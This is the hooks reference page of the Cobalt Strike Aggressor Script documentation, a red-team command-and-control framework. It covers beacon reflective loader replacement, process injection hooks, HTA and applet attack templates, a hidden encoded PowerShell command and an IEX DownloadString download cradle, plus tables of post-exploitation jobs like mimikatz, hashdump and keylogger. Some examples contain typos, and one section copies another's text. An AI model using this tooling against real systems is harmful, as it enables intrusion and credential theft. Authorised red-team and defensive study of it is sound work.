Hooks
Hooks allow Aggressor Script to intercept and change Cobalt Strike behavior.
APPLET_SHELLCODE_FORMAT
Format shellcode before it's placed on the HTML page generated to serve the Signed or Smart Applet Attacks. See User-driven Web Drive-by Attacks.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).
Example
set APPLET_SHELLCODE_FORMAT {
return base64_encode($1);
}
BEACON_RDLL_GENERATE
Hook to allow users to replace the Cobalt Strike reflective loader in a beacon with a User Defined Reflective Loader. The reflective loader can be extracted from a compiled object file and plugged into the Beacon Payload DLL. See User Defined Reflective DLL Loader.
Arguments
$1 - Beacon payload file name
$2 - Beacon payload (dll binary)
$3 - Beacon architecture (x86/x64)
Returns
The Beacon executable payload updated with the User Defined reflective loader. Return $null to use the default Beacon executable payload.
Example
sub generate_my_dll {
local('$handle $data $loader $temp_dll');
# ---------------------------------------------------------------------
# Load an Object File that contains a Reflective Loader.
# The architecture ($3) is used in the path.
# ---------------------------------------------------------------------
# $handle = openf("/mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");
$handle = openf("mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o");
$data = readb($handle, -1);
closef($handle);
# warn("Object File Length: " . strlen($data));
if (strlen($data) eq 0) {
warn("Error loading reflective loader object file.");
return $null;
}
# ---------------------------------------------------------------------
# extract loader from BOF.
# ---------------------------------------------------------------------
$loader = extract_reflective_loader($data);
# warn("Reflective Loader Length: " . strlen($loader));
if (strlen($loader) eq 0) {
warn("Error extracting reflective loader.");
return $null;
}
# ---------------------------------------------------------------------
# Replace the beacons default reflective loader with '$loader'.
# ---------------------------------------------------------------------
$temp_dll = setup_reflective_loader($2, $loader);
# ---------------------------------------------------------------------
# TODO: Additional Customization of the PE...
# - Use 'pedump' function to get information for the updated DLL.
# - Use these convenience functions to perform transformations on the DLL:
# pe_remove_rich_header
# pe_insert_rich_header
# pe_set_compile_time_with_long
# pe_set_compile_time_with_string
# pe_set_export_name
# pe_update_checksum
# - Use these basic functions to perform transformations on the DLL:
# pe_mask
# pe_mask_section
# pe_mask_string
# pe_patch_code
# pe_set_string
# pe_set_stringz
# pe_set_long
# pe_set_short
# pe_set_value_at
# pe_stomp
# ---------------------------------------------------------------------
# ---------------------------------------------------------------------
# Give back the updated beacon DLL.
# ---------------------------------------------------------------------
return $temp_dll;
}
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# ------------------------------------
set BEACON_RDLL_GENERATE {
warn("Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3);
return generate_my_dll($1, $2, $3);
}
BEACON_RDLL_GENERATE_LOCAL
The BEACON_RDLL_GENERATE_LOCAL hook is very similar to BEACON_RDLL_GENERATE with additional arguments.
Arguments
$1 - Beacon payload file name
$2 - Beacon payload (dll binary)
$3 - Beacon architecture (x86/x64)
$4 - Parent beacon ID
$5 - GetModuleHandleA pointer
$6 - GetProcAddress pointer
Example
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandleA pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set BEACON_RDLL_GENERATE_LOCAL {
warn("Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " .
$1 ." with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA "
$5 . " GetProcAddress " . $6);
return generate_my_dll($1, $2, $3);
}
Also See
BEACON_RDLL_SIZE
The BEACON_RDLL_SIZE hook allows the use of beacons with more space reserved for User Defined Reflective loaders. The alternate beacons are used in the BEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL hooks. The original/default space reserved for reflective loaders is 5KB. The hook also allows the entire reflective loader space to be removed.
Overriding this setting will generate beacons that are too large for the placeholders in standard artifacts. It is very likely to require customized changes in an artifact kit to expand reserved payload space. See the documentation in the artifact kit provided by Cobalt Strike.
Customized "stagesize" settings are documented in "build.sh" and "script.example". See User Defined Reflective DLL Loader.
Arguments
$1 - Beacon payload file name
$2 - Beacon architecture (x86/x64)
Returns
The size in KB for the Reflective Loader reserved space in beacons. Valid values are "0", "5", "100".
"0" uses beacons without the reserved spaces for reflective loaders.
"5" is the default and uses standard beacons with 5KB reserved space for reflective loaders.
"100" uses larger beacons with 100KB reserved space for reflective loaders.
Example
# ------------------------------------
# $1 = DLL file name
# $2 = arch
# ------------------------------------
set BEACON_RDLL_SIZE {
warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " . $2);
return "100";
}
BEACON_SLEEP_MASK
Update a Beacon payload with a User Defined Sleep Mask
Arguments
$1 - beacon type (default, pivot)
$2 - arch
Sleep Mask Kit
This hook is demonstrated in the The Sleep Mask Kit.
EXECUTABLE_ARTIFACT_GENERATOR
Control the EXE and DLL generation for Cobalt Strike.
Arguments
$1 - the artifact file (e.g., artifact32.exe)
$2 - shellcode to embed into an EXE or DLL
Artifact Kit
This hook is demonstrated in the The Artifact Kit.
HTMLAPP_EXE
Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.
Arguments
$1 - the EXE data
$2 - the name of the .exe
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set HTMLAPP_EXE {
local('$handle $data');
$handle = openf(script_resource("template.exe.hta"));
$data = readb($handle, -1);
osef($handle);
$data = strrep($data, '##EXE##', transform($1, "hex"));
$data = strrep($data, '##NAME##', $2);
return $data;
}
HTMLAPP_POWERSHELL
Controls the content of the HTML Application User-driven (PowerShell Output) generated by Cobalt Strike.
Arguments
$1 - the PowerShell command to run
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set HTMLAPP_POWERSHELL {
local('$handle $data');
$handle = openf(script_resource("template.psh.hta"));
$data = readb($handle, -1);
closef($handle);
# push our command into the script
return strrep($data, "%%DATA%%", $1);
}
LISTENER_MAX_RETRY_STRATEGIES
Return a string that contains the list of definitions which is separated with a '\n' character. The definition needs to match a syntax of exit-[max_attempts]-[increase_attempts]-[duration][m,h,d].
For example exit-10-5-5m will exit beacon after 10 failed attempts and will increase sleep time after five failed attempts to 5 minutes. The sleep time will not be updated if the current sleep time is greater than the specified duration value. The sleep time will be affected by the current jitter value. On a successful connection the failed attempts count will be reset to zero and the sleep time will be reset to the prior value.
Return $null to use the default list.
Example
# Use a hard coded list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
local('$out');
$out .= "exit-50-25-5m\n";
$out .= "exit-100-25-5m\n";
$out .= "exit-50-25-15m\n";
$out .= "exit-100-25-15m\n";
return $out;
}
# Use loops to build a list of strategies
set LISTENER_MAX_RETRY_STRATEGIES {
local('$out');
@attempts = @(50, 100);
@durations = @("5m", "15m");
$increase = 25;
foreach $attempt (@attempts)
{
foreach $duration (@durations)
{
$out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n";
}
}
return $out;
}
POSTEX_RDLL_GENERATE
Hook to allow users to replace the Cobalt Strike reflective loader for post-ex with a User Defined Reflective Loader. See Post-ex User Defined Reflective DLL Loader.
The Post-ex DLL passed as argument 2 does not contain any reflective loader. You do not need to remove an existing reflective loader from the DLL.
Arguments
$1 – Post-ex payload file name
$2 – Post-ex payload (dll binary)
$3 – Post-ex architecture (x86/x64)
$4 – parent Beacon ID
$5 – GetModuleHandle pointer
$6 – GetProcAddress pointer
Returns
The Post-ex payload updated with the User Defined reflective loader. Return $null to use the default Post-ex payload and loader.
Example
# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
local('$arch $ postex $file_handle $ldr $loader_path $payload');
$postex = $2;
$arch = $3;
warn("Running 'POSTEX_RDLL_GENERATE' for DLL " .
$1 ." with architecture " . $3 . " Beacon ID " . $4 . " . GetModuleHandleA “ .
$5 . " GetProcAddress " . $6);
# Read the UDRL from the supplied binary file
$loader_path = "mystuff/Refloaders/bin/MyPostExReflectiveLoader. $+ $arch $+ .o";
$file_handle = openf($loader_path);
$ldr = readb($file_handle, -1);
closef($file_handle);
if (strlen($ldr) == 0) {
warn("Error: Failed to read $loader_path");
return $null;
}
# Prepend UDRL (sRDI/Double Pulsar type) to Post-ex DLL and output the modified payload.
$payload = $ldr . $postex;
print_info("Payload Size: " . strlen($payload));
return $payload;
}
POWERSHELL_COMMAND
Change the form of the powershell comamnd run by Cobalt Strike's automation. This affects jump psexec_psh, powershell, and [host] -> Access -> One-liner.
Arguments
$1 - the PowerShell command to run.
$2 - true|false the command is run on a remote target.
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set POWERSHELL_COMMAND {
local('$script');
$script = transform($1, "powershell-base64");
# remote command (e.g., jump psexec_psh)
if ($2) {
return "powershell -nop -w hidden -encodedcommand $script";
}
# local command
else {
return "powershell -nop -exec bypass -EncodedCommand $script";
}
}
POWERSHELL_COMPRESS
A hook used by the resource kit to compress a PowerShell script. The default uses gzip and returns a deflator script.
Resource Kit
This hook is demonstrated in the The Resource Kit.
Arguments
$1 - the script to compress
POWERSHELL_DOWNLOAD_CRADLE
Change the form of the PowerShell download cradle used in Cobalt Strike's post-ex automation. This includes jump winrm|winrm64, [host] -> Access -> One Liner, and powershell-import.
Arguments
$1 - the URL of the (localhost) resource to reach
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set POWERSHELL_DOWNLOAD_CRADLE {
return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
}
PROCESS_INJECT_EXPLICIT
Hook to allow users to define how the explicit process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).
Arguments
$1- Beacon ID
$2- memory injectable dll (position-independent code)
$3- the PID to inject into
$4- offset to jump to
$5- x86/x64 - memory injectable DLL arch
Returns
Return a non empty value when defining your own explicit process injection technique.
Return $null to use the default explicit process injection technique.
Post Exploitation Jobs
The following post exploitation commands support the PROCESS_INJECT_EXPLICIT hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.
Additional Information
- The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List. There is also a multi version of this interface which is accessed by selecting multiple sessions and using the same UI menu. When in the Process Browser use the buttons to perform additional commands on the selected process.
- The chromedump, dcsync, hashdump, keylogger, logonpasswords, mimikatz, net, portscan, printscreen, pth, screenshot, screenwatch, ssh, and ssh-key commands also have a fork&run version. To use the explicit version requires the pid and architecture arguments.
- For the net and &bnet command the ‘domain’ command will not use the hook.
Job Types
| Command | Aggressor Script | UI |
|---|---|---|
| browserpivot | &bbrowserpivot | [beacon] -> Explore -> Browser Pivot |
| chromedump | ||
| dcsync | &bdcsync | |
| dllinject | &bdllinject | |
| hashdump | &bhashdump | |
| inject | &binject | [Process Browser] -> Inject |
| keylogger | &bkeylogger | [Process Browser] -> Log Keystrokes |
| logonpasswords | &blogonpasswords | |
| mimikatz | &bmimikatz | |
| &bmimikatz_small | ||
| net | &bnet | |
| portscan | &bportscan | |
| printscreen | &bprintscreen | |
| psinject | &bpsinject | |
| pth | &bpassthehash | |
| screenshot | &bscreenshot | [Process Browser] -> Screenshot (Yes) |
| screenwatch | &bscreenwatch | [Process Browser] -> Screenshot (No) |
| shinject | &bshinject | |
| ssh | &bssh | |
| ssh-key | &bssh_key |
Example
# Hook to allow the user to define how the explicit injection technique
# is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll for the post exploitation command
# $3 = the PID to inject into
# $4 = offset to jump to
# $5 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_EXPLICIT {
local('$barch $handle $data $args $entry');
# Set the architecture for the beacon's session
$barch = barch($1);
# read in the injection BOF based on barch
warn("read the BOF: inject_explicit. $+ $barch $+ .o");
$handle = openf(script_resource("inject_explicit. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
# pack our arguments needed for the BOF
$args = bof_pack($1, "iib", $3, $4, $2);
btask($1, "Process Inject using explicit injection into pid $3");
# Set the entry point based on the dll's arch
$entry = "go $+ $5";
beacon_inline_execute($1, $data, $entry, $args);
# Let the caller know the hook was implemented.
return 1;
}
PROCESS_INJECT_SPAWN
Hook to allow users to define how the fork and run process injection technique is implemented when executing post exploitation commands using a Beacon Object File (BOF).
Arguments
$1 - Beacon ID
$2 - memory injectable dll (position-independent code)
$3 - true/false ignore process token
$4 - x86/x64 - memory injectable DLL arch
Returns
Return a non empty value when defining your own fork and run process injection technique.
Return $null to use the default fork and run injection technique.
Post Exploitation Jobs
The following post exploitation commands support the PROCESS_INJECT_SPAWN hook. The Command column displays the command to be used in the Beacon window, The Aggressor Script column displays the aggressor script function to be used in scripts, and the UI column displays which menu option to use.
Additional Information
- The elevate, runasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick.
- For the net and &bnet command the ‘domain’ command will not use the hook.
-
The ‘(use a hash)’ note means select a credential that references a hash.
Job Types
| Command | Aggressor Script | UI |
|---|---|---|
| chromedump | ||
| dcsync | &bdcsync | |
| elevate | &belevate | [beacon] -> Access -> Elevate |
| [beacon] -> Access -> Golden Ticket | ||
| hashdump | &bhashdump | [beacon] -> Access -> Dump Hashes |
| keylogger | &bkeylogger | |
| logonpasswords | &blogonpasswords | [beacon] -> Access -> Run Mimikatz |
| [beacon] -> Access -> Make Token (use a hash) | ||
| mimikatz | &bmimikatz | |
| &bmimikatz_small | ||
| net | &bnet | [beacon] -> Explore -> Net View |
| portscan | &bportscan | [beacon] -> Explore -> Port Scan |
| powerpick | &bpowerpick | |
| printscreen | &bprintscreen | |
| pth | &bpassthehash | |
| runasadmin | &brunasadmin | |
| [target] -> Scan | ||
| screenshot | &bscreenshot | [beacon] -> Explore -> Screenshot |
| screenwatch | &bscreenwatch | |
| ssh | &bssh | [target] -> Jump -> ssh |
| ssh-key | &bssh_key | [target] -> Jump -> ssh-key |
| [target] -> Jump -> [exploit] (use a hash) |
Example
# ------------------------------------
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
# ------------------------------------
set PROCESS_INJECT_SPAWN {
local('$barch $handle $data $args $entry');
# Set the architecture for the beacon's session
$barch = barch($1);
# read in the injection BOF based on barch
warn("read the BOF: inject_spawn. $+ $barch $+ .o");
$handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
$data = readb($handle, -1);
closef($handle);
# pack our arguments needed for the BOF
$args = bof_pack($1, "sb", $3, $2);
btask($1, "Process Inject using fork and run");
# Set the entry point based on the dll's arch
$entry = "go $+ $4";
beacon_inline_execute($1, $data, $entry, $args);
# Let the caller know the hook was implemented.
return 1;
}
PSEXEC_SERVICE
Set the service name used by jump psexec|psexec64|psexec_psh and psexec.
Example
set PSEXEC_SERVICE {
return "foobar";
}
PYTHON_COMPRESS
Compress a Python script generated by Cobalt Strike.
Arguments
$1 - the script to compress
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set PYTHON_COMPRESS {
return "import base64; exec base64.b64decode(\"" . base64_encode($1) . "\")";
}
RESOURCE_GENERATOR
Control the format of the VBS template used in Cobalt Strike.
Resource Kit
This hook is demonstrated in the The Resource Kit.
Arguments
$1 - the shellcode to inject and run
RESOURCE_GENERATOR_VBS
Controls the content of the HTML Application User-driven (EXE Output) generated by Cobalt Strike.
Arguments
$1 - the EXE data
$2 - the name of the .exe
Resource Kit
This hook is demonstrated in the The Resource Kit.
Example
set HTMLAPP_EXE {
local('$handle $data');
$handle = openf(script_resource("template.exe.hta"));
$data = readb($handle, -1);
closef($handle);
$data = strrep($data, '##EXE##', transform($1, "hex"));
$data = strrep($data, '##NAME##', $2);
return $data;
}
SIGNED_APPLET_MAINCLASS
Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).
Example
set SIGNED_APPLET_MAINCLASS {
return "Java.class";
}
SIGNED_APPLET_RESOURCE
Specify a Java Applet file to use for the Java Signed Applet Attack. See Java Signed Applet Attack.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).
Example
set SIGNED_APPLET_RESOURCE {
return script_resource("dist/applet_signed.jar");
}
SMART_APPLET_MAINCLASS
Specify the MAIN class of the Java Smart Applet Attack. See Java Smart Applet Attack.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).
Example
set SMART_APPLET_MAINCLASS {
return "Java.class";
}
SMART_APPLET_RESOURCE
Specify a Java Applet file to use for the Java Smart Applet Attack. See Java Smart Applet Attack.
Applet Kit
This hook is demonstrated in the Applet Kit. The Applet Kit is available via the Cobalt Strike Arsenal (Help -> Arsenal).
Example
set SMART_APPLET_RESOURCE {
return script_resource("dist/applet_rhino.jar");
}